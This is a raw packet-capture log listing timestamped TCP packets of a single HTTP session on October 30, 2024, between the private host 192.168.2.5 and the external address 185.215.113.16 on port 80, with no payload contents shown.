Oct 30, 2024 00:20:19.614726067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614729881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614742041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614752054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614758968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614780903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614784002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614795923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614814043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614821911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614830017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614847898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614852905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614869118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614883900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614898920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614903927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614913940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.614933014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614949942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.614998102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615014076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615036011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615051031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615076065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615093946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615103006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615109921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615124941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615140915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615156889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615164995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615171909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615186930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615191936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615202904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615206957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615219116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615235090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615247011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615247965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615267038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615326881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615360022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615375042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615408897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615468025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615492105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615609884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615626097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615643024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615648031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615658045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615675926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615690947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615717888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615746021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615762949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615802050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615847111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615861893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615876913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615892887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615906000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615909100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615926027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615932941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615942001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615956068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.615957022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615983009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615998983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.615999937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616014957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616029978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616049051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616054058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616074085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616079092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616089106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616103888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616110086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616120100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616133928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616134882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616153002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616169930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616173983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616184950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616200924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616205931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616216898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616231918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616233110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616246939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616261005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616281033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616281033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616291046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616307020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616322041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616337061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616347075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616352081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616369009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616373062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616384983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616409063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616417885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616424084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616437912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616441011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616456032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616472006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616478920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616487026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616494894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616508961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616524935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616528034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616540909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616556883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616570950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616580963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616588116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616596937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616611958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616627932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616643906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616646051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616658926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616667986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616683006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616693974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616698980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616714001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616729021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616738081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616744995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616755962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616760015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616776943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616792917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616797924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616826057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616830111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616841078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616858006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616879940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616933107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616949081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616964102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616977930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616978884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.616992950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.616995096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617011070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617027044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617038012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617042065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617064953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617074966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617108107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617109060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617125034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617156982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617178917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617193937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617208958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617224932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617238045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617260933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617317915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617331982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617347002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617362976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617378950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617383957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617408037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617604971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617619991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617643118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617645025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617659092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617675066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617688894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617690086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617705107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617716074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617721081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617738008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617744923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617753983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617779016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617784977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617794037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617804050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617818117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617834091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617849112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.617854118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.617888927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.629831076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.630388975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.726505041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726541042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726584911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.726592064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726625919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726658106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726670980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.726691961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726737022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.726743937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726777077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726810932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726838112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.726866007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726908922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.726931095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726964951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.726996899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727025032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727050066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727085114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727087975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727118969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727152109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727158070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727186918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727220058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727222919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727262974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727294922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727320910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727366924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727417946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727444887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727452040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727500916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727535009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727541924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727587938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727603912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727622032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727675915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727708101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727715015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727741957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727750063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727775097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727807999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727842093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727849007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727874994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727883101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.727904081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727952957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727988958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.727992058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728020906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728059053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728074074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728107929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728141069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728147984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728172064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728174925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728204966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728239059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728241920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728271961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728303909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728336096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728339911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728368998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728401899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728404999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728434086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728435993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728487968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728533983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728538990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728590012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728621960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728657961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728676081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728708029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728740931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728740931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728786945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728796959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728821993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728856087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728888988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728892088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728921890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.728939056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.728971958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729007006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729022026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729054928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729085922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729089022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729120970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729154110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729162931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729187965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729221106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729229927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729254961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729288101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729298115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729325056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729368925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729373932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729408026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729439974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729444027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729473114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729506969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729528904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729541063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729573965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729623079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729624033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729652882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729666948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729686022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729720116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729726076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729752064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729785919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729789972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729819059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729851007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729851961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.729902029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729937077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.729955912 CET	49712	80	192.168.2.5	185.215.113.16
